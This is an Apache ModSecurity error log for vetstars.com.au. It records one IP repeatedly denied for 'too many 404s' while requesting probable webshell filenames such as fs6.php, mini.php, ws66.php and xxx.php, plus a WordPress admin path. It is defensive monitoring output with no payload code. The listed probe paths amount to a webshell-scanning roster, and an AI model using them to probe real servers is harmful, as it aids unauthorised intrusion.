[Fri Apr 10 23:49:57.788496 2026] [:error] [pid 13101:tid 13149] [client 20.251.194.172:56805] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zlnckdxn.php"] [unique_id "adkcJd8Ldw85818pj2orCwAAAJA"]
[Fri Apr 10 23:49:58.442023 2026] [:error] [pid 62769:tid 62775] [client 20.251.194.172:25749] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zlnckdxn.php"] [unique_id "adkcJsWsSnfLoB8ifjDWLQAAAkQ"]
[Fri Apr 10 23:49:59.011877 2026] [:error] [pid 62769:tid 62786] [client 20.251.194.172:25658] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs6.php"] [unique_id "adkcJ8WsSnfLoB8ifjDWMwAAAk8"]
[Fri Apr 10 23:49:59.642714 2026] [:error] [pid 62769:tid 62794] [client 20.251.194.172:47067] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs6.php"] [unique_id "adkcJ8WsSnfLoB8ifjDWOgAAAlc"]
[Fri Apr 10 23:50:00.290580 2026] [:error] [pid 62884:tid 62899] [client 20.251.194.172:25628] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs6.php"] [unique_id "adkcKOUCK1xrhnnmpo2eegAAAsg"]
[Fri Apr 10 23:50:01.316293 2026] [:error] [pid 62819:tid 62822] [client 20.251.194.172:56722] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs6.php"] [unique_id "adkcKfU20EyPf7NlsleJ6QAAAoA"]
[Fri Apr 10 23:50:02.072619 2026] [:error] [pid 13189:tid 13198] [client 20.251.194.172:25659] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwzs.php"] [unique_id "adkcKpAxiJKPums3eBAaLQAAAEY"]
[Fri Apr 10 23:50:02.854840 2026] [:error] [pid 13101:tid 13149] [client 20.251.194.172:36252] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwzs.php"] [unique_id "adkcKt8Ldw85818pj2orFQAAAJA"]
[Fri Apr 10 23:50:03.401977 2026] [:error] [pid 62651:tid 62664] [client 20.251.194.172:25635] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwzs.php"] [unique_id "adkcKzbAH0le57SIaqw9EgAAAcs"]
[Fri Apr 10 23:50:04.012826 2026] [:error] [pid 62884:tid 62905] [client 20.251.194.172:46832] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwzs.php"] [unique_id "adkcLOUCK1xrhnnmpo2efwAAAs4"]
[Fri Apr 10 23:50:04.670810 2026] [:error] [pid 13189:tid 13207] [client 20.251.194.172:36257] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "adkcLJAxiJKPums3eBAaMwAAAE8"]
[Fri Apr 10 23:50:06.468138 2026] [:error] [pid 13189:tid 13202] [client 20.251.194.172:56745] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "adkcLpAxiJKPums3eBAaPAAAAEo"]
[Fri Apr 10 23:50:07.466173 2026] [:error] [pid 62884:tid 62897] [client 20.251.194.172:12899] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "adkcL-UCK1xrhnnmpo2eggAAAsY"]
[Fri Apr 10 23:50:08.964052 2026] [:error] [pid 62769:tid 62776] [client 20.251.194.172:14596] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "adkcMMWsSnfLoB8ifjDWYQAAAkU"]
[Fri Apr 10 23:50:10.794670 2026] [:error] [pid 62710:tid 62719] [client 20.251.194.172:36231] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "adkcMuME7qrf5xEWWJtOigAAAgY"]
[Fri Apr 10 23:50:11.412641 2026] [:error] [pid 63134:tid 63149] [client 20.251.194.172:25639] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "adkcM9FALqPDwWi6eJLRBwAAA8w"]
[Fri Apr 10 23:50:11.984844 2026] [:error] [pid 63062:tid 63087] [client 20.251.194.172:17991] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "adkcM52HtsmV85NqkMcXFgAAA5c"]
[Fri Apr 10 23:50:13.192305 2026] [:error] [pid 62769:tid 62775] [client 20.251.194.172:18044] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "adkcNcWsSnfLoB8ifjDWbQAAAkQ"]
[Fri Apr 10 23:50:14.050431 2026] [:error] [pid 63134:tid 63160] [client 20.251.194.172:30393] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewe.php"] [unique_id "adkcNtFALqPDwWi6eJLRDAAAA9c"]
[Fri Apr 10 23:50:14.701670 2026] [:error] [pid 62769:tid 62789] [client 20.251.194.172:63868] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewe.php"] [unique_id "adkcNsWsSnfLoB8ifjDWeQAAAlI"]
[Fri Apr 10 23:50:15.447372 2026] [:error] [pid 62769:tid 62788] [client 20.251.194.172:56743] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewe.php"] [unique_id "adkcN8WsSnfLoB8ifjDWfQAAAlE"]
[Fri Apr 10 23:50:16.045372 2026] [:error] [pid 13189:tid 13201] [client 20.251.194.172:30376] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ewe.php"] [unique_id "adkcOJAxiJKPums3eBAaTwAAAEk"]
[Fri Apr 10 23:50:16.939900 2026] [:error] [pid 13189:tid 13214] [client 20.251.194.172:56740] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "adkcOJAxiJKPums3eBAaVAAAAFY"]
[Fri Apr 10 23:51:07.734053 2026] [:error] [pid 62769:tid 62789] [client 20.251.194.172:37613] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "adkca8WsSnfLoB8ifjDXVAAAAlI"]
[Fri Apr 10 23:51:08.317940 2026] [:error] [pid 62884:tid 62899] [client 20.251.194.172:47089] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "adkcbOUCK1xrhnnmpo2eqgAAAsg"]
[Fri Apr 10 23:51:08.995175 2026] [:error] [pid 13189:tid 13213] [client 20.251.194.172:46791] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "adkcbJAxiJKPums3eBAazQAAAFU"]
[Fri Apr 10 23:51:10.237344 2026] [:error] [pid 13101:tid 13152] [client 20.251.194.172:56801] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8xyz.php"] [unique_id "adkcbt8Ldw85818pj2oruwAAAJM"]
[Fri Apr 10 23:51:11.295325 2026] [:error] [pid 13189:tid 13192] [client 20.251.194.172:30342] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "adkcb5AxiJKPums3eBAa0gAAAEA"]
[Fri Apr 10 23:51:12.114884 2026] [:error] [pid 63062:tid 63085] [client 20.251.194.172:25790] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "adkccJ2HtsmV85NqkMcXWQAAA5U"]
[Fri Apr 10 23:51:12.915138 2026] [:error] [pid 62884:tid 62895] [client 20.251.194.172:56824] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "adkccOUCK1xrhnnmpo2esAAAAsQ"]
[Fri Apr 10 23:51:13.652163 2026] [:error] [pid 62710:tid 62725] [client 20.251.194.172:25653] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "adkcceME7qrf5xEWWJtO_AAAAgw"]
[Fri Apr 10 23:51:14.300927 2026] [:error] [pid 62769:tid 62786] [client 20.251.194.172:56793] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "adkccsWsSnfLoB8ifjDXdAAAAk8"]
[Fri Apr 10 23:51:16.838345 2026] [:error] [pid 62710:tid 62732] [client 20.251.194.172:18287] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "adkcdOME7qrf5xEWWJtPAgAAAhM"]
[Fri Apr 10 23:51:17.599590 2026] [:error] [pid 62710:tid 62731] [client 20.251.194.172:56773] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "adkcdeME7qrf5xEWWJtPBQAAAhI"]
[Fri Apr 10 23:51:18.273393 2026] [:error] [pid 62769:tid 62778] [client 20.251.194.172:25730] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws68.php"] [unique_id "adkcdsWsSnfLoB8ifjDXjwAAAkc"]
[Fri Apr 10 23:51:19.469323 2026] [:error] [pid 13189:tid 13204] [client 20.251.194.172:47073] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "adkcd5AxiJKPums3eBAa4wAAAEw"]
[Fri Apr 10 23:51:20.268268 2026] [:error] [pid 13189:tid 13207] [client 20.251.194.172:63900] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "adkceJAxiJKPums3eBAa6QAAAE8"]
[Fri Apr 10 23:51:20.847644 2026] [:error] [pid 62769:tid 62773] [client 20.251.194.172:37596] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "adkceMWsSnfLoB8ifjDXlwAAAkI"]
[Fri Apr 10 23:51:21.459906 2026] [:error] [pid 62769:tid 62785] [client 20.251.194.172:46840] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "adkcecWsSnfLoB8ifjDXnAAAAk4"]
[Fri Apr 10 23:51:22.095580 2026] [:error] [pid 13100:tid 13113] [client 20.251.194.172:31950] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/njxjtooj.php"] [unique_id "adkcelzg-ZkZ0InWIP3VNgAAAQg"]
[Fri Apr 10 23:51:22.657565 2026] [:error] [pid 13189:tid 13209] [client 20.251.194.172:25651] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/njxjtooj.php"] [unique_id "adkcepAxiJKPums3eBAa7AAAAFE"]
[Fri Apr 10 23:51:23.477312 2026] [:error] [pid 13101:tid 13141] [client 20.251.194.172:18013] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/njxjtooj.php"] [unique_id "adkce98Ldw85818pj2or3AAAAIg"]
[Fri Apr 10 23:51:24.026252 2026] [:error] [pid 63134:tid 63148] [client 20.251.194.172:25619] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/njxjtooj.php"] [unique_id "adkcfNFALqPDwWi6eJLRWQAAA8s"]
[Fri Apr 10 23:51:24.752291 2026] [:error] [pid 62884:tid 62903] [client 20.251.194.172:25609] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "adkcfOUCK1xrhnnmpo2evgAAAsw"]
[Fri Apr 10 23:51:25.433141 2026] [:error] [pid 62710:tid 62719] [client 20.251.194.172:56718] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "adkcfeME7qrf5xEWWJtPCQAAAgY"]
[Fri Apr 10 23:51:25.967258 2026] [:error] [pid 13189:tid 13192] [client 20.251.194.172:56820] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "adkcfZAxiJKPums3eBAa-QAAAEA"]
[Fri Apr 10 23:51:26.559945 2026] [:error] [pid 13100:tid 13120] [client 20.251.194.172:36253] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "adkcflzg-ZkZ0InWIP3VPwAAAQ8"]
[Fri Apr 10 23:51:27.095949 2026] [:error] [pid 62651:tid 62659] [client 20.251.194.172:18272] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "adkcfzbAH0le57SIaqw9QAAAAcY"]
[Fri Apr 10 23:51:27.625898 2026] [:error] [pid 62651:tid 62668] [client 20.251.194.172:56771] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "adkcfzbAH0le57SIaqw9RAAAAc8"]
[Fri Apr 10 23:51:28.209875 2026] [:error] [pid 62884:tid 62912] [client 20.251.194.172:36229] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "adkcgOUCK1xrhnnmpo2ewwAAAtU"]
[Fri Apr 10 23:51:28.820752 2026] [:error] [pid 62710:tid 62718] [client 20.251.194.172:18047] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "adkcgOME7qrf5xEWWJtPDwAAAgU"]
[Fri Apr 10 23:51:29.426048 2026] [:error] [pid 62710:tid 62731] [client 20.251.194.172:37578] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iyy.php"] [unique_id "adkcgeME7qrf5xEWWJtPFQAAAhI"]
[Fri Apr 10 23:51:29.955900 2026] [:error] [pid 13189:tid 13214] [client 20.251.194.172:25623] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iyy.php"] [unique_id "adkcgZAxiJKPums3eBAbBgAAAFY"]
[Fri Apr 10 23:51:30.502326 2026] [:error] [pid 13189:tid 13215] [client 20.251.194.172:47051] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iyy.php"] [unique_id "adkcgpAxiJKPums3eBAbDwAAAFc"]
[Fri Apr 10 23:51:31.092497 2026] [:error] [pid 62769:tid 62790] [client 20.251.194.172:31945] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iyy.php"] [unique_id "adkcg8WsSnfLoB8ifjDXqAAAAlM"]
[Fri Apr 10 23:51:31.674093 2026] [:error] [pid 13189:tid 13204] [client 20.251.194.172:56803] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/900.php"] [unique_id "adkcg5AxiJKPums3eBAbFAAAAEw"]
